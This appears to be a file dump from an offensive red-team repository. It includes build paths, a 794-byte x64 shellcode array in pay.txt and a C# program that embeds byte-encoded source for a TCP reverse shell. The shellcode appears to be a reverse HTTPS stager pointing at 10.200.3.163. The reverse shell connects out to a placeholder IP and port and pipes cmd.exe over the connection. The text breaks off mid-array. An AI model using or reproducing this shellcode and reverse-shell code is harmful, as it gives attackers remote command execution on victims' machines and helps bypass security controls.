--------------------------------------------------------------------------------
1 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x86\Debug\sharpmeter.exe.config
2 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x86\Debug\sharpmeter.exe
3 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x86\Debug\sharpmeter.pdb
4 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x86\Debug\System.Net.Http.dll
5 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x86\Debug\System.Net.Http.xml
6 | C:\temp2\temp\PSBypassCLM\SharpMeter\obj\x86\Debug\sharpmeter.exe
7 | C:\temp2\temp\PSBypassCLM\SharpMeter\obj\x86\Debug\sharpmeter.pdb
8 |
--------------------------------------------------------------------------------
/SharpMeter/obj/x86/Debug/sharpmeter.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x86/Debug/sharpmeter.exe
--------------------------------------------------------------------------------
/SharpMeter/obj/x86/Debug/sharpmeter.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x86/Debug/sharpmeter.pdb
--------------------------------------------------------------------------------
/SharpMeter/pay.txt:
--------------------------------------------------------------------------------
1 | byte[] buf = new byte[794] {
2 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
3 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
4 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
5 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
6 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
7 | 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
8 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
9 | 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
10 | 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,
11 | 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
12 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
13 | 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
14 | 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
15 | 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
16 | 0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,
17 | 0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,
18 | 0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,
19 | 0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,
20 | 0xe8,0x0d,0x00,0x00,0x00,0x31,0x30,0x2e,0x32,0x30,0x30,0x2e,0x33,0x2e,0x31,
21 | 0x36,0x33,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x01,0x00,0x00,0x4d,
22 | 0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,0x00,
23 | 0x00,0x00,0xff,0xd5,0xe8,0xf2,0x00,0x00,0x00,0x2f,0x57,0x4a,0x59,0x75,0x45,
24 | 0x5a,0x35,0x62,0x58,0x4f,0x79,0x78,0x31,0x62,0x44,0x58,0x37,0x63,0x49,0x49,
25 | 0x31,0x51,0x6c,0x4f,0x72,0x61,0x5a,0x31,0x49,0x6a,0x38,0x61,0x76,0x6a,0x49,
26 | 0x69,0x32,0x42,0x4c,0x30,0x41,0x6c,0x52,0x2d,0x4a,0x51,0x77,0x63,0x77,0x75,
27 | 0x34,0x73,0x55,0x6a,0x49,0x71,0x77,0x64,0x71,0x6b,0x5a,0x6f,0x37,0x66,0x5f,
28 | 0x49,0x48,0x6c,0x54,0x4a,0x4d,0x73,0x70,0x47,0x62,0x33,0x43,0x56,0x61,0x62,
29 | 0x4a,0x51,0x4f,0x68,0x30,0x52,0x4e,0x6b,0x72,0x59,0x44,0x6d,0x4e,0x36,0x30,
30 | 0x6e,0x61,0x74,0x72,0x54,0x49,0x4e,0x64,0x38,0x52,0x43,0x7a,0x5f,0x4e,0x76,
31 | 0x56,0x38,0x52,0x46,0x64,0x62,0x55,0x78,0x53,0x6a,0x64,0x41,0x41,0x78,0x6b,
32 | 0x31,0x45,0x49,0x70,0x5a,0x5a,0x54,0x77,0x4d,0x35,0x76,0x72,0x51,0x4d,0x54,
33 | 0x4f,0x6d,0x46,0x39,0x34,0x53,0x36,0x57,0x4f,0x4b,0x4d,0x4d,0x7a,0x79,0x6a,
34 | 0x4f,0x76,0x31,0x48,0x36,0x6c,0x59,0x72,0x6f,0x63,0x5a,0x6a,0x7a,0x4d,0x67,
35 | 0x4e,0x68,0x6c,0x56,0x70,0x37,0x5a,0x35,0x4c,0x35,0x50,0x66,0x64,0x52,0x54,
36 | 0x34,0x41,0x56,0x4a,0x4a,0x47,0x49,0x30,0x6a,0x45,0x4d,0x71,0x4a,0x67,0x61,
37 | 0x30,0x37,0x5a,0x73,0x5f,0x74,0x6e,0x6b,0x75,0x69,0x30,0x6d,0x43,0x7a,0x76,
38 | 0x6f,0x42,0x71,0x4b,0x71,0x56,0x54,0x6a,0x4d,0x32,0x79,0x30,0x58,0x79,0x69,
39 | 0x33,0x45,0x4c,0x39,0x62,0x56,0x33,0x74,0x35,0x6c,0x00,0x48,0x89,0xc1,0x53,
40 | 0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x32,0xa0,0x84,0x00,0x00,
41 | 0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,
42 | 0x89,0xc6,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,
43 | 0x00,0x00,0x49,0x89,0xe0,0x6a,0x04,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,
44 | 0x00,0x00,0x00,0x00,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,
45 | 0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,
46 | 0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,
47 | 0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,
48 | 0xaa,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,
49 | 0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,
50 | 0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,
51 | 0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,
52 | 0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,
53 | 0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,
54 | 0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
55 |
--------------------------------------------------------------------------------
/SharpThrough/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/SharpThrough/Program.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.CSharp;
2 | using System;
3 | using System.CodeDom.Compiler;
4 | using System.IO;
5 | using System.Reflection;
6 |
7 |
8 | namespace SharpThrough
9 | {
10 | public class Program
11 | {
12 |
13 | static void Main(string[] args)
14 | {
15 | byte[] byteRS = new byte[2945] { 0xEF, 0xBB, 0xBF, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x3B, 0xD, 0xA, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x54, 0x65, 0x78, 0x74, 0x3B, 0xD, 0xA, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x49, 0x4F, 0x3B, 0xD, 0xA, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x44, 0x69, 0x61, 0x67, 0x6E, 0x6F, 0x73, 0x74, 0x69, 0x63, 0x73, 0x3B, 0xD, 0xA, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x4E, 0x65, 0x74, 0x2E, 0x53, 0x6F, 0x63, 0x6B, 0x65, 0x74, 0x73, 0x3B, 0xD, 0xA, 0xD, 0xA, 0x6E, 0x61, 0x6D, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x20, 0x53, 0x68, 0x61, 0x72, 0x70, 0x54, 0x68, 0x72, 0x6F, 0x75, 0x67, 0x68, 0xD, 0xA, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x52, 0x53, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x20, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x3B, 0xD, 0xA, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x76, 0x6F, 0x69, 0x64, 0x20, 0x4D, 0x61, 0x69, 0x6E, 0x52, 0x53, 0x28, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x69, 0x70, 0x20, 0x3D, 0x20, 0x22, 0x7C, 0x49, 0x50, 0x41, 0x44, 0x44, 0x52, 0x45, 0x53, 0x53, 0x7C, 0x22, 0x20, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x74, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x20, 0x3D, 0x20, 0x7C, 0x54, 0x43, 0x50, 0x50, 0x4F, 0x52, 0x54, 0x7C, 0x20, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x28, 0x54, 0x63, 0x70, 0x43, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x20, 0x63, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x54, 0x63, 0x70, 0x43, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x28, 0x69, 0x70, 0x2C, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x29, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x28, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x20, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x20, 0x3D, 0x20, 0x63, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x2E, 0x47, 0x65, 0x74, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x28, 0x29, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x28, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x52, 0x65, 0x61, 0x64, 0x65, 0x72, 0x20, 0x72, 0x64, 0x72, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x52, 0x65, 0x61, 0x64, 0x65, 0x72, 0x28, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x29, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x28, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x73, 0x74, 0x72, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, 0xD, 0xA, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x20, 0x70, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x28, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x2E, 0x46, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x20, 0x22, 0x63, 0x6D, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x22, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x2E, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4E, 0x6F, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x2E, 0x55, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6C, 0x6C, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x20, 0x3D, 0x20, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x2E, 0x52, 0x65, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x2E, 0x52, 0x65, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x2E, 0x52, 0x65, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x20, 0x2B, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x45, 0x76, 0x65, 0x6E, 0x74, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x28, 0x43, 0x6D, 0x64, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x44, 0x61, 0x74, 0x61, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x20, 0x2B, 0x3D, 0x20, 0x50, 0x5F, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x28, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x42, 0x65, 0x67, 0x69, 0x6E, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x65, 0x61, 0x64, 0x4C, 0x69, 0x6E, 0x65, 0x28, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x42, 0x65, 0x67, 0x69, 0x6E, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x52, 0x65, 0x61, 0x64, 0x4C, 0x69, 0x6E, 0x65, 0x28, 0x29, 0x3B, 0xD, 0xA, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x68, 0x69, 0x6C, 0x65, 0x20, 0x28, 0x74, 0x72, 0x75, 0x65, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x2E, 0x41, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x28, 0x72, 0x64, 0x72, 0x2E, 0x52, 0x65, 0x61, 0x64, 0x4C, 0x69, 0x6E, 0x65, 0x28, 0x29, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x73, 0x74, 0x72, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x2E, 0x41, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x28, 0x22, 0x5C, 0x6E, 0x22, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x2E, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x2E, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4C, 0x69, 0x6E, 0x65, 0x28, 0x73, 0x74, 0x72, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x2E, 0x52, 0x65, 0x6D, 0x6F, 0x76, 0x65, 0x28, 0x30, 0x2C, 0x20, 0x73, 0x74, 0x72, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x2E, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x76, 0x6F, 0x69, 0x64, 0x20, 0x50, 0x5F, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x28, 0x6F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x65, 0x72, 0x2C, 0x20, 0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x45, 0x76, 0x65, 0x6E, 0x74, 0x41, 0x72, 0x67, 0x73, 0x20, 0x65, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x73, 0x74, 0x72, 0x4F, 0x75, 0x74, 